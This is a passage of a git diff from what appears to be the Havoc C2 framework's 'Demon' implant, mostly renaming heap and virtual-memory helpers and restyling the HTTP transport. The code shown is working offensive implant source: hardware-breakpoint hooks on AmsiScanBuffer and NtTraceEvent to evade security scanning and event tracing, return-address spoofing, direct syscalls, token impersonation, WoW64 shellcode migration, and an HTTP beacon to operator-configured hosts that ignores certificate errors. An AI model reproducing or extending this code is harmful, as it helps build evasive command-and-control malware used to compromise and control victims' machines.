Now free the struct */ MemSet( Download, 0, sizeof( DOWNLOAD_DATA ) ); - NtHeapFree( Download ); + MmHeapFree( Download ); Download = NULL; } @@ -106,7 +106,7 @@ VOID DownloadPush() if ( Instance.DownloadChunk.Buffer ) { MemSet( Instance.DownloadChunk.Buffer, 0, Instance.DownloadChunk.Length ); - NtHeapFree( Instance.DownloadChunk.Buffer ); + MmHeapFree( Instance.DownloadChunk.Buffer ); Instance.DownloadChunk.Buffer = NULL; } @@ -123,7 +123,7 @@ VOID DownloadPush() * allocate a chunk of memory to use for the chunks. */ if ( ! Instance.DownloadChunk.Buffer ) { - Instance.DownloadChunk.Buffer = NtHeapAlloc( Instance.Config.Implant.DownloadChunkSize ); + Instance.DownloadChunk.Buffer = MmHeapAlloc( Instance.Config.Implant.DownloadChunkSize ); Instance.DownloadChunk.Length = Instance.Config.Implant.DownloadChunkSize; PRINTF( "Allocated memory for DownloadChunk. Buffer:[%p] Size:[%d]\n", Instance.DownloadChunk.Buffer, Instance.DownloadChunk.Length ) @@ -255,10 +255,10 @@ PMEM_FILE NewMemFile( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize ) { PMEM_FILE MemFile = NULL; - MemFile = NtHeapAlloc( sizeof( MEM_FILE ) ); + MemFile = MmHeapAlloc( sizeof( MEM_FILE ) ); MemFile->ID = ID; MemFile->Size = Size; - MemFile->Data = NtHeapAlloc( MemFile->Size ); + MemFile->Data = MmHeapAlloc( MemFile->Size ); MemFile->ReadSize = 0; MemFile->Next = Instance.MemFiles; @@ -342,13 +342,13 @@ VOID MemFileFree( PMEM_FILE MemFile ) MemSet( MemFile->Data, 0, MemFile->Size ); if ( MemFile->Data ) - NtHeapFree( MemFile->Data ); + MmHeapFree( MemFile->Data ); MemFile->Data = NULL; MemFile->Size = 0; MemSet( MemFile, 0, sizeof( MEM_FILE ) ); - NtHeapFree( MemFile ); + MmHeapFree( MemFile ); MemFile = NULL; } diff --git a/payloads/Demon/src/core/HwBpEngine.c b/payloads/Demon/src/core/HwBpEngine.c index 3a724a1..6b4c2c3 100644 --- a/payloads/Demon/src/core/HwBpEngine.c +++ b/payloads/Demon/src/core/HwBpEngine.c @@ -5,7 +5,7 @@ #include LONG ExceptionHandler( - IN OUT PEXCEPTION_POINTERS Exception + _Inout_ PEXCEPTION_POINTERS Exception ); /*! @@ -35,7 +35,7 @@ NTSTATUS HwBpEngineInit( /* since we did not specify an engine let's use the global one */ if ( ! HwBpEngine ) { - HwBpEngine = Instance.HwBpEngine = NtHeapAlloc( sizeof( HWBP_ENGINE ) ); + HwBpEngine = Instance.HwBpEngine = MmHeapAlloc( sizeof( HWBP_ENGINE ) ); HwBpHandler = &ExceptionHandler; } @@ -177,7 +177,7 @@ NTSTATUS HwBpEngineAdd( } /* create bp entry */ - BpEntry = NtHeapAlloc( sizeof( BP_LIST ) ); + BpEntry = MmHeapAlloc( sizeof( BP_LIST ) ); BpEntry->Tid = Tid; BpEntry->Address = Address; BpEntry->Function = Function; @@ -199,7 +199,7 @@ NTSTATUS HwBpEngineAdd( FAILED: if ( BpEntry ) { - NtHeapFree( BpEntry ); + MmHeapFree( BpEntry ); BpEntry = NULL; } @@ -246,7 +246,7 @@ NTSTATUS HwBpEngineRemove( MemZero( BpEntry, sizeof( BP_LIST ) ); /* free memory struct */ - NtHeapFree( BpEntry ); + MmHeapFree( BpEntry ); break; } @@ -295,14 +295,14 @@ NTSTATUS HwBpEngineDestroy( MemZero( BpEntry, sizeof( BP_LIST ) ); /* free memory struct */ - NtHeapFree( BpEntry ); + MmHeapFree( BpEntry ); BpEntry = BpNext; } while ( TRUE ); /* free global state */ if ( HwBpEngine == Instance.HwBpEngine ) { - NtHeapFree( HwBpEngine ); + MmHeapFree( HwBpEngine ); Instance.HwBpEngine = NULL; } @@ -318,7 +318,7 @@ NTSTATUS HwBpEngineDestroy( * @return */ LONG ExceptionHandler( - IN OUT PEXCEPTION_POINTERS Exception + _Inout_ PEXCEPTION_POINTERS Exception ) { PBP_LIST BpEntry = NULL; BOOL Found = FALSE; diff --git a/payloads/Demon/src/core/HwBpExceptions.c b/payloads/Demon/src/core/HwBpExceptions.c index 420d0b5..530b37c 100644 --- a/payloads/Demon/src/core/HwBpExceptions.c +++ b/payloads/Demon/src/core/HwBpExceptions.c @@ -4,7 +4,7 @@ #if _WIN64 VOID HwBpExAmsiScanBuffer( - IN OUT PEXCEPTION_POINTERS Exception + _Inout_ PEXCEPTION_POINTERS Exception ) { PVOID Return = NULL; @@ -21,7 +21,7 @@ VOID HwBpExAmsiScanBuffer( } VOID HwBpExNtTraceEvent( - IN OUT PEXCEPTION_POINTERS Exception + _Inout_ PEXCEPTION_POINTERS Exception ) { PVOID Return = NULL; diff --git a/payloads/Demon/src/core/Memory.c b/payloads/Demon/src/core/Memory.c index 435d228..27c6684 100644 --- a/payloads/Demon/src/core/Memory.c +++ b/payloads/Demon/src/core/Memory.c @@ -1,6 +1,55 @@ #include #include +/*! + * @brief + * allocate memory on the heap + * + * @param Length + * size of memory to allocate + * + * @return + * allocated buffer pointer on the heap + */ +PVOID MmHeapAlloc( + _In_ ULONG Length +) { + return Instance.Win32.RtlAllocateHeap( NtProcessHeap(), HEAP_ZERO_MEMORY, Length ); +} + +/*! + * @brief + * allocate memory on the heap + * + * @param Length + * size of memory to reallocate + * + * @return + * allocated buffer pointer on the heap + */ +PVOID MmHeapReAlloc( + _In_ PVOID Memory, + _In_ ULONG Length +) { + return Instance.Win32.RtlReAllocateHeap( NtProcessHeap(), HEAP_ZERO_MEMORY, Memory, Length ); +} + +/*! + * @brief + * free memory on the heap + * + * @param Memory + * memory to free + * + * @return + * if successfully freed memory on the heap + */ +BOOL MmHeapFree( + _In_ PVOID Memory +) { + return Instance.Win32.RtlFreeHeap( NtProcessHeap(), 0, Memory ); +} + /*! * Allocates virtual memory * @param Method @@ -9,7 +58,7 @@ * @param Protect * @return */ -PVOID MemoryAlloc( +PVOID MmVirtualAlloc( IN DX_MEMORY Methode, IN HANDLE Process, IN SIZE_T Size, @@ -28,8 +77,8 @@ PVOID MemoryAlloc( { case DX_MEM_DEFAULT: PUTS( "DX_MEM_DEFAULT" ) { Memory = Instance.Config.Memory.Alloc != DX_MEM_DEFAULT ? - MemoryAlloc( Instance.Config.Memory.Alloc, Process, Size, Protect ) : // if the config memory alloc ain't default then use that - MemoryAlloc( DX_MEM_SYSCALL, Process, Size, Protect ); // if it is default then simply choose Native/Syscall + MmVirtualAlloc( Instance.Config.Memory.Alloc, Process, Size, Protect ) : // if the config memory alloc ain't default then use that + MmVirtualAlloc( DX_MEM_SYSCALL, Process, Size, Protect ); // if it is default then simply choose Native/Syscall return Memory; } @@ -80,7 +129,7 @@ PVOID MemoryAlloc( * @param Protect * @return */ -BOOL MemoryProtect( +BOOL MmVirtualProtect( IN DX_MEMORY Method, IN HANDLE Process, IN PVOID Memory, @@ -96,9 +145,9 @@ BOOL MemoryProtect( { case DX_MEM_DEFAULT: PUTS( "DX_MEM_DEFAULT" ) { if ( Instance.Config.Memory.Alloc != DX_MEM_DEFAULT ) { - return MemoryProtect( Instance.Config.Memory.Alloc, Process, Memory, Size, Protect ); + return MmVirtualProtect( Instance.Config.Memory.Alloc, Process, Memory, Size, Protect ); } else { - return MemoryProtect( DX_MEM_SYSCALL, Process, Memory, Size, Protect ); + return MmVirtualProtect( DX_MEM_SYSCALL, Process, Memory, Size, Protect ); } } @@ -136,7 +185,7 @@ BOOL MemoryProtect( return Success; } -BOOL MemoryWrite( +BOOL MmVirtualWrite( IN HANDLE Process, OUT PVOID Memory, IN PVOID Buffer, @@ -156,34 +205,33 @@ BOOL MemoryWrite( * @param Memory * @return */ -BOOL MemoryFree( +BOOL MmVirtualFree( IN HANDLE Process, IN PVOID Memory ) { - SIZE_T Length = 0; - MEMORY_INFORMATION_CLASS mic = 0; - MEMORY_BASIC_INFORMATION mbi = { 0 }; - BOOL IsMapped = FALSE; - NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; + SIZE_T Length = { 0 }; + MEMORY_BASIC_INFORMATION MmBasic = { 0 }; - NtStatus = SysNtQueryVirtualMemory( + // + // query memory type + // + if ( ! NT_SUCCESS( SysNtQueryVirtualMemory( Process, Memory, - mic, - &mbi, - sizeof(mbi), - NULL); - if ( NT_SUCCESS ( NtStatus ) ) - { - IsMapped = mbi.Type == MEM_MAPPED; + MemoryBasicInformation, + &MmBasic, + sizeof( MmBasic ), + NULL + ) ) ) { + return FALSE; } - if ( IsMapped ) - { + // + // check if it's a mapped image + // + if ( ( MmBasic.Type == MEM_MAPPED ) ) { return NT_SUCCESS( SysNtUnmapViewOfSection( NtCurrentProcess(), Memory ) ); - } - else - { + } else { return NT_SUCCESS( SysNtFreeVirtualMemory( Process, &Memory, &Length, MEM_RELEASE ) ); } } @@ -205,6 +253,6 @@ BOOL FreeReflectiveLoader( PRINTF( "Freeing the reflective loader at: 0x%p\n", BaseAddress ) - return MemoryFree( NtCurrentProcess(), BaseAddress ); + return MmVirtualFree( NtCurrentProcess(), BaseAddress ); } #endif diff --git a/payloads/Demon/src/core/Package.c b/payloads/Demon/src/core/Package.c index 05b1873..4c8b3cf 100644 --- a/payloads/Demon/src/core/Package.c +++ b/payloads/Demon/src/core/Package.c @@ -47,7 +47,7 @@ VOID Int32ToBuffer( } VOID PackageAddInt32( - IN OUT PPACKAGE Package, + _Inout_ PPACKAGE Package, IN UINT32 Data ) { if ( ! Package ) { @@ -83,7 +83,7 @@ VOID PackageAddInt64( PPACKAGE Package, UINT64 dataInt ) } VOID PackageAddBool( - IN OUT PPACKAGE Package, + _Inout_ PPACKAGE Package, IN BOOLEAN Data ) { if ( ! Package ) { @@ -227,7 +227,7 @@ VOID PackageDestroy( // used to send the demon's metadata BOOL PackageTransmitNow( - IN OUT PPACKAGE Package, + _Inout_ PPACKAGE Package, OUT PVOID* Response, OUT PSIZE_T Size ) { diff --git a/payloads/Demon/src/core/Socket.c b/payloads/Demon/src/core/Socket.c index b8fbf83..db9041c 100644 --- a/payloads/Demon/src/core/Socket.c +++ b/payloads/Demon/src/core/Socket.c @@ -178,7 +178,7 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB } /* Allocate our Socket object */ - Socket = NtHeapAlloc( sizeof( SOCKET_DATA ) ); + Socket = MmHeapAlloc( sizeof( SOCKET_DATA ) ); Socket->ID = RandomNumber32(); Socket->ParentID = ParentID; Socket->Type = Type; @@ -333,7 +333,7 @@ VOID SocketRead() if ( PartialData.Length > 0 ) { - PartialData.Buffer = NtHeapAlloc( PartialData.Length ); + PartialData.Buffer = MmHeapAlloc( PartialData.Length ); if ( ! RecvAll( Socket->Socket, PartialData.Buffer, PartialData.Length, &PartialData.Length ) ) { Failed = TRUE; @@ -351,12 +351,12 @@ VOID SocketRead() else { // allocate a new buffer to store the old and new data - NewBuffer = NtHeapAlloc( FullData.Length + PartialData.Length ); + NewBuffer = MmHeapAlloc( FullData.Length + PartialData.Length ); // copy the old data into the new buffer MemCopy( NewBuffer, FullData.Buffer, FullData.Length ); // free the old 'FullData' buffer MemSet( FullData.Buffer, 0, FullData.Length ); - NtHeapFree( FullData.Buffer ); + MmHeapFree( FullData.Buffer ); // set the new buffer into 'FullData' FullData.Buffer = NewBuffer; NewBuffer = NULL; @@ -365,7 +365,7 @@ VOID SocketRead() FullData.Length += PartialData.Length; // free the new data MemSet( PartialData.Buffer, 0, PartialData.Length ); - NtHeapFree( PartialData.Buffer ); + MmHeapFree( PartialData.Buffer ); PartialData.Buffer = NULL; } } @@ -412,7 +412,7 @@ VOID SocketRead() { /* free and clear out our buffer */ MemSet( FullData.Buffer, 0, FullData.Length ); - NtHeapFree( FullData.Buffer ); + MmHeapFree( FullData.Buffer ); FullData.Length = 0; FullData.Buffer = NULL; } @@ -475,7 +475,7 @@ VOID SocketFree( PSOCKET_DATA Socket ) } MemSet( Socket, 0, sizeof( SOCKET_DATA ) ); - NtHeapFree( Socket ) + MmHeapFree( Socket ); Socket = NULL; } diff --git a/payloads/Demon/src/core/Spoof.c b/payloads/Demon/src/core/Spoof.c index 119e5e6..456313c 100644 --- a/payloads/Demon/src/core/Spoof.c +++ b/payloads/Demon/src/core/Spoof.c @@ -22,14 +22,14 @@ PVOID SpoofRetAddr( IN PVOID Module, IN ULONG Size, IN HANDLE Function, - IN OUT PVOID a, - IN OUT PVOID b, - IN OUT PVOID c, - IN OUT PVOID d, - IN OUT PVOID e, - IN OUT PVOID f, - IN OUT PVOID g, - IN OUT PVOID h + _Inout_ PVOID a, + _Inout_ PVOID b, + _Inout_ PVOID c, + _Inout_ PVOID d, + _Inout_ PVOID e, + _Inout_ PVOID f, + _Inout_ PVOID g, + _Inout_ PVOID h ) { PVOID Trampoline = NULL; diff --git a/payloads/Demon/src/core/SysNative.c b/payloads/Demon/src/core/SysNative.c index 2ef8a32..c138080 100644 --- a/payloads/Demon/src/core/SysNative.c +++ b/payloads/Demon/src/core/SysNative.c @@ -192,7 +192,7 @@ NTSTATUS NTAPI SysNtDuplicateObject( NTSTATUS NTAPI SysNtGetContextThread ( IN HANDLE ThreadHandle, - IN OUT PCONTEXT ThreadContext + _Inout_ PCONTEXT ThreadContext ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; @@ -258,9 +258,9 @@ NTSTATUS NTAPI SysNtWaitForSingleObject( NTSTATUS NTAPI SysNtAllocateVirtualMemory( IN HANDLE ProcessHandle, - IN OUT PVOID* BaseAddress, + _Inout_ PVOID* BaseAddress, IN ULONG_PTR ZeroBits, - IN OUT PSIZE_T RegionSize, + _Inout_ PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect ) { @@ -289,8 +289,8 @@ NTSTATUS NTAPI SysNtWriteVirtualMemory( NTSTATUS NTAPI SysNtFreeVirtualMemory( IN HANDLE ProcessHandle, - IN OUT PVOID* BaseAddress, - IN OUT PSIZE_T RegionSize, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, IN ULONG FreeType ) { NTSTATUS NtStatus = STATUS_SUCCESS; @@ -315,8 +315,8 @@ NTSTATUS NTAPI SysNtUnmapViewOfSection( NTSTATUS NTAPI SysNtProtectVirtualMemory( IN HANDLE ProcessHandle, - IN OUT PVOID* BaseAddress, - IN OUT PSIZE_T RegionSize, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect ) { diff --git a/payloads/Demon/src/core/Thread.c b/payloads/Demon/src/core/Thread.c index 34e64da..134344e 100644 --- a/payloads/Demon/src/core/Thread.c +++ b/payloads/Demon/src/core/Thread.c @@ -164,7 +164,7 @@ HANDLE ThreadCreateWoW64( // allocate some memory for both shellcode stubs Size = sizeof( migrate_executex64 ) + sizeof(migrate_wownativex); - if ( ! ( pExecuteX64 = MemoryAlloc( DX_MEM_DEFAULT, NtCurrentProcess(), Size, PAGE_READWRITE ) ) ) { + if ( ! ( pExecuteX64 = MmVirtualAlloc( DX_MEM_DEFAULT, NtCurrentProcess(), Size, PAGE_READWRITE ) ) ) { PUTS( "Failed allocating RW for migrate_executex64 and migrate_wownativex" ) goto END; } @@ -177,7 +177,7 @@ HANDLE ThreadCreateWoW64( MemCopy( pX64function, &migrate_wownativex, sizeof( migrate_wownativex ) ); // switch RW to RX - if ( ! ( MemoryProtect( DX_MEM_SYSCALL, NtCurrentProcess(), pExecuteX64, Size, PAGE_EXECUTE_READ ) ) ) { + if ( ! ( MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), pExecuteX64, Size, PAGE_EXECUTE_READ ) ) ) { PUTS( "Failed to change memory protection" ) goto END; } @@ -206,7 +206,7 @@ HANDLE ThreadCreateWoW64( END: if ( pExecuteX64 ) { - MemoryFree( NtCurrentProcess(), pExecuteX64 ); + MmVirtualFree( NtCurrentProcess(), pExecuteX64 ); } return hThread; diff --git a/payloads/Demon/src/core/Token.c b/payloads/Demon/src/core/Token.c index 8699ac7..ce00d70 100644 --- a/payloads/Demon/src/core/Token.c +++ b/payloads/Demon/src/core/Token.c @@ -123,7 +123,7 @@ BOOL TokenQueryOwner( /* get the size for the TOKEN_USER struct */ if ( ! NT_SUCCESS( NtStatus = SysNtQueryInformationToken( Token, TokenUser, UserInfo, 0, &UserSize ) ) ) { - UserInfo = NtHeapAlloc( UserSize ); + UserInfo = MmHeapAlloc( UserSize ); /* query the token user (we need the sid) */ if ( ! NT_SUCCESS( NtStatus = SysNtQueryInformationToken( Token, TokenUser, UserInfo, UserSize, &UserSize ) ) ) { @@ -144,17 +144,17 @@ BOOL TokenQueryOwner( } /* we allocate one buffer for specified owner flag */ - UserDomain->Buffer = NtHeapAlloc( UserDomain->Length ); + UserDomain->Buffer = MmHeapAlloc( UserDomain->Length ); Domain = UserDomain->Buffer; User = ( UserDomain->Buffer + ( DomnLen * sizeof( WCHAR ) ) ); /* setup arguments */ if ( Flags == TOKEN_OWNER_FLAG_USER ) { - Domain = NtHeapAlloc( DomnLen * sizeof( WCHAR ) ); + Domain = MmHeapAlloc( DomnLen * sizeof( WCHAR ) ); User = UserDomain->Buffer; } else if ( Flags == TOKEN_OWNER_FLAG_DOMAIN ) { - User = NtHeapAlloc( UserLen * sizeof( WCHAR ) ); + User = MmHeapAlloc( UserLen * sizeof( WCHAR ) ); } /* now lets try to get the owner */ @@ -731,9 +731,9 @@ BOOL TokenImpersonate( } VOID AddUserToken( - IN OUT PUSER_TOKEN_DATA NewToken, - IN OUT PUSER_TOKEN_DATA Tokens, - IN OUT PDWORD NumTokens + _Inout_ PUSER_TOKEN_DATA NewToken, + _Inout_ PUSER_TOKEN_DATA Tokens, + _Inout_ PDWORD NumTokens ) { for ( DWORD i = 0; i < *NumTokens; ++i ) { @@ -833,8 +833,8 @@ VOID ProcessUserToken( IN HANDLE handle, IN BOOL CheckUsername, IN PBUFFER CurrentUser, - IN OUT PUSER_TOKEN_DATA Tokens, - IN OUT PDWORD NumTokens) + _Inout_ PUSER_TOKEN_DATA Tokens, + _Inout_ PDWORD NumTokens) { USER_TOKEN_DATA NewToken = { 0 }; DWORD TokenType = 0; diff --git a/payloads/Demon/src/core/TransportHttp.c b/payloads/Demon/src/core/TransportHttp.c index af1d7fd..a39e071 100644 --- a/payloads/Demon/src/core/TransportHttp.c +++ b/payloads/Demon/src/core/TransportHttp.c @@ -5,154 +5,169 @@ #ifdef TRANSPORT_HTTP -BOOL HttpSend( PBUFFER Send, PBUFFER Response ) -{ - BOOL Success = FALSE; - HANDLE hConnect = NULL; - HANDLE hRequest = NULL; - - LPWSTR HttpHeader = NULL; - LPWSTR HttpEndpoint = NULL; - DWORD HttpFlags = 0; - LPCWSTR HttpProxy = NULL; - PWSTR HttpScheme = NULL; +/*! + * @brief + * send a http request + * + * @param Send + * buffer to send + * + * @param Resp + * buffer response + * + * @return + * if successful send request + */ +BOOL HttpSend( + _In_ PBUFFER Send, + _Out_opt_ PBUFFER Resp +) { + HANDLE Connect = { 0 }; + HANDLE Request = { 0 }; + LPWSTR HttpHeader = { 0 }; + LPWSTR HttpEndpoint = { 0 }; + DWORD HttpFlags = { 0 }; + LPCWSTR HttpProxy = { 0 }; + PWSTR HttpScheme = { 0 }; + DWORD Counter = { 0 }; + DWORD Iterator = { 0 }; + DWORD BufRead = { 0 }; + UCHAR Buffer[ 1024 ] = { 0 }; + PVOID RespBuffer = { 0 }; + SIZE_T RespSize = { 0 }; + BOOL Successful = { 0 }; WINHTTP_PROXY_INFO ProxyInfo = { 0 }; WINHTTP_CURRENT_USER_IE_PROXY_CONFIG ProxyConfig = { 0 }; WINHTTP_AUTOPROXY_OPTIONS AutoProxyOptions = { 0 }; - DWORD Counter = 0; - DWORD Iterator = 0; - DWORD BufRead = 0; - UCHAR Buffer[ 1024 ] = { 0 }; - PVOID RespBuffer = NULL; - SIZE_T RespSize = 0; - BOOL Successful = TRUE; - /* we might impersonate a token that lets WinHttpOpen return an Error 5 (ERROR_ACCESS_DENIED) */ TokenImpersonate( FALSE ); /* if we don't have any more hosts left, then exit */ - if ( ! Instance.Config.Transport.Host ) - { + if ( ! Instance.Config.Transport.Host ) { PUTS_DONT_SEND( "No hosts left to use... exit now." ) CommandExit( NULL ); } - if ( ! Instance.hHttpSession ) - { - if ( Instance.Config.Transport.Proxy.Enabled ) - { + if ( ! Instance.hHttpSession ) { + if ( Instance.Config.Transport.Proxy.Enabled ) { // Use preconfigured proxy HttpProxy = Instance.Config.Transport.Proxy.Url; /* PRINTF_DONT_SEND( "WinHttpOpen( %ls, WINHTTP_ACCESS_TYPE_NAMED_PROXY, %ls, WINHTTP_NO_PROXY_BYPASS, 0 )\n", Instance.Config.Transport.UserAgent, HttpProxy ) */ Instance.hHttpSession = Instance.Win32.WinHttpOpen( Instance.Config.Transport.UserAgent, WINHTTP_ACCESS_TYPE_NAMED_PROXY, HttpProxy, WINHTTP_NO_PROXY_BYPASS, 0 ); - } - else - { + } else { // Autodetect proxy settings /* PRINTF_DONT_SEND( "WinHttpOpen( %ls, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 )\n", Instance.Config.Transport.UserAgent ) */ Instance.hHttpSession = Instance.Win32.WinHttpOpen( Instance.Config.Transport.UserAgent, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 ); } - if ( ! Instance.hHttpSession ) - { + if ( ! Instance.hHttpSession ) { PRINTF_DONT_SEND( "WinHttpOpen: Failed => %d\n", NtGetLastError() ) - Successful = FALSE; goto LEAVE; } } /* PRINTF_DONT_SEND( "WinHttpConnect( %x, %ls, %d, 0 )\n", Instance.hHttpSession, Instance.Config.Transport.Host->Host, Instance.Config.Transport.Host->Port ) */ - hConnect = Instance.Win32.WinHttpConnect( Instance.hHttpSession, Instance.Config.Transport.Host->Host, Instance.Config.Transport.Host->Port, 0 ); - if ( ! hConnect ) - { + if ( ! ( Connect = Instance.Win32.WinHttpConnect( + Instance.hHttpSession, + Instance.Config.Transport.Host->Host, + Instance.Config.Transport.Host->Port, + 0 + ) ) ) { PRINTF_DONT_SEND( "WinHttpConnect: Failed => %d\n", NtGetLastError() ) - Successful = FALSE; goto LEAVE; } - Counter = 0; - while ( TRUE ) - { - if ( ! Instance.Config.Transport.Uris[ Counter ] ) break; - else Counter++; + while ( TRUE ) { + if ( ! Instance.Config.Transport.Uris[ Counter ] ) { + break; + } else { + Counter++; + } } HttpEndpoint = Instance.Config.Transport.Uris[ RandomNumber32() % Counter ]; HttpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE; - if ( Instance.Config.Transport.Secure ) + if ( Instance.Config.Transport.Secure ) { HttpFlags |= WINHTTP_FLAG_SECURE; + } /* PRINTF_DONT_SEND( "WinHttpOpenRequest( %x, %ls, %ls, NULL, NULL, NULL, %x )\n", hConnect, Instance.Config.Transport.Method, HttpEndpoint, HttpFlags ) */ - hRequest = Instance.Win32.WinHttpOpenRequest( hConnect, Instance.Config.Transport.Method, HttpEndpoint, NULL, NULL, NULL, HttpFlags ); - if ( ! hRequest ) - { + if ( ! ( Request = Instance.Win32.WinHttpOpenRequest( + Connect, + Instance.Config.Transport.Method, + HttpEndpoint, + NULL, + NULL, + NULL, + HttpFlags + ) ) ) { PRINTF_DONT_SEND( "WinHttpOpenRequest: Failed => %d\n", NtGetLastError() ) - Successful = FALSE; goto LEAVE; } - if ( Instance.Config.Transport.Secure ) - { + if ( Instance.Config.Transport.Secure ) { HttpFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; - if ( ! Instance.Win32.WinHttpSetOption( hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &HttpFlags, sizeof( DWORD ) ) ) + if ( ! Instance.Win32.WinHttpSetOption( Request, WINHTTP_OPTION_SECURITY_FLAGS, &HttpFlags, sizeof( DWORD ) ) ) { PRINTF_DONT_SEND( "WinHttpSetOption: Failed => %d\n", NtGetLastError() ); } } /* Add our headers */ - Iterator = 0; - do - { + do { HttpHeader = Instance.Config.Transport.Headers[ Iterator ]; if ( ! HttpHeader ) break; - if ( ! Instance.Win32.WinHttpAddRequestHeaders( hRequest, HttpHeader, -1, WINHTTP_ADDREQ_FLAG_ADD ) ) { + if ( ! Instance.Win32.WinHttpAddRequestHeaders( Request, HttpHeader, -1, WINHTTP_ADDREQ_FLAG_ADD ) ) { PRINTF_DONT_SEND( "Failed to add header: %ls", HttpHeader ) } Iterator++; } while ( TRUE ); - if ( Instance.Config.Transport.Proxy.Enabled ) - { + if ( Instance.Config.Transport.Proxy.Enabled ) { + // Use preconfigured proxy ProxyInfo.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; ProxyInfo.lpszProxy = Instance.Config.Transport.Proxy.Url; - if ( ! Instance.Win32.WinHttpSetOption( hRequest, WINHTTP_OPTION_PROXY, &ProxyInfo, sizeof( WINHTTP_PROXY_INFO ) ) ) - { + if ( ! Instance.Win32.WinHttpSetOption( Request, WINHTTP_OPTION_PROXY, &ProxyInfo, sizeof( WINHTTP_PROXY_INFO ) ) ) { PRINTF_DONT_SEND( "WinHttpSetOption: Failed => %d\n", NtGetLastError() ); } - if ( Instance.Config.Transport.Proxy.Username ) - { - if ( ! Instance.Win32.WinHttpSetOption( hRequest, WINHTTP_OPTION_PROXY_USERNAME, Instance.Config.Transport.Proxy.Username, StringLengthW( Instance.Config.Transport.Proxy.Username ) ) ) - { + if ( Instance.Config.Transport.Proxy.Username ) { + if ( ! Instance.Win32.WinHttpSetOption( + Request, + WINHTTP_OPTION_PROXY_USERNAME, + Instance.Config.Transport.Proxy.Username, + StringLengthW( Instance.Config.Transport.Proxy.Username ) + ) ) { PRINTF_DONT_SEND( "Failed to set proxy username %u", NtGetLastError() ); } } - if ( Instance.Config.Transport.Proxy.Password ) - { - if ( ! Instance.Win32.WinHttpSetOption( hRequest, WINHTTP_OPTION_PROXY_PASSWORD, Instance.Config.Transport.Proxy.Password, StringLengthW( Instance.Config.Transport.Proxy.Password ) ) ) - { + if ( Instance.Config.Transport.Proxy.Password ) { + if ( ! Instance.Win32.WinHttpSetOption( + Request, + WINHTTP_OPTION_PROXY_PASSWORD, + Instance.Config.Transport.Proxy.Password, + StringLengthW( Instance.Config.Transport.Proxy.Password ) + ) ) { PRINTF_DONT_SEND( "Failed to set proxy password %u", NtGetLastError() ); } } - } - else if ( ! Instance.LookedForProxy ) - { + + } else if ( ! Instance.LookedForProxy ) { // Autodetect proxy settings using the Web Proxy Auto-Discovery (WPAD) protocol /* @@ -169,8 +184,7 @@ BOOL HttpSend( PBUFFER Send, PBUFFER Response ) AutoProxyOptions.dwReserved = 0; AutoProxyOptions.fAutoLogonIfChallenged = TRUE; - if ( Instance.Win32.WinHttpGetProxyForUrl( Instance.hHttpSession, HttpEndpoint, &AutoProxyOptions, &ProxyInfo ) ) - { + if ( Instance.Win32.WinHttpGetProxyForUrl( Instance.hHttpSession, HttpEndpoint, &AutoProxyOptions, &ProxyInfo ) ) { if ( ProxyInfo.lpszProxy ) { PRINTF_DONT_SEND( "Using proxy %ls\n", ProxyInfo.lpszProxy ); } @@ -178,14 +192,10 @@ BOOL HttpSend( PBUFFER Send, PBUFFER Response ) Instance.SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO ); Instance.ProxyForUrl = Instance.Win32.LocalAlloc( LPTR, Instance.SizeOfProxyForUrl ); MemCopy( Instance.ProxyForUrl, &ProxyInfo, Instance.SizeOfProxyForUrl ); - } - else - { + } else { // WinHttpGetProxyForUrl failed, use WinHttpGetIEProxyConfigForCurrentUser as fall-back - if ( Instance.Win32.WinHttpGetIEProxyConfigForCurrentUser( &ProxyConfig ) ) - { - if ( ProxyConfig.lpszProxy != NULL && StringLengthW( ProxyConfig.lpszProxy ) != 0 ) - { + if ( Instance.Win32.WinHttpGetIEProxyConfigForCurrentUser( &ProxyConfig ) ) { + if ( ProxyConfig.lpszProxy != NULL && StringLengthW( ProxyConfig.lpszProxy ) != 0 ) { // IE is set to "use a proxy server" ProxyInfo.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; ProxyInfo.lpszProxy = ProxyConfig.lpszProxy; @@ -200,9 +210,7 @@ BOOL HttpSend( PBUFFER Send, PBUFFER Response ) // don't cleanup these values ProxyConfig.lpszProxy = NULL; ProxyConfig.lpszProxyBypass = NULL; - } - else if ( ProxyConfig.lpszAutoConfigUrl != NULL && StringLengthW( ProxyConfig.lpszAutoConfigUrl ) != 0 ) - { + } else if ( ProxyConfig.lpszAutoConfigUrl != NULL && StringLengthW( ProxyConfig.lpszAutoConfigUrl ) != 0 ) { // IE is set to "Use automatic proxy configuration" AutoProxyOptions.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL; AutoProxyOptions.lpszAutoConfigUrl = ProxyConfig.lpszAutoConfigUrl; @@ -210,8 +218,7 @@ BOOL HttpSend( PBUFFER Send, PBUFFER Response ) PRINTF_DONT_SEND( "Trying to discover the proxy config via the config url %ls\n", AutoProxyOptions.lpszAutoConfigUrl ); - if ( Instance.Win32.WinHttpGetProxyForUrl( Instance.hHttpSession, HttpEndpoint, &AutoProxyOptions, &ProxyInfo ) ) - { + if ( Instance.Win32.WinHttpGetProxyForUrl( Instance.hHttpSession, HttpEndpoint, &AutoProxyOptions, &ProxyInfo ) ) { if ( ProxyInfo.lpszProxy ) { 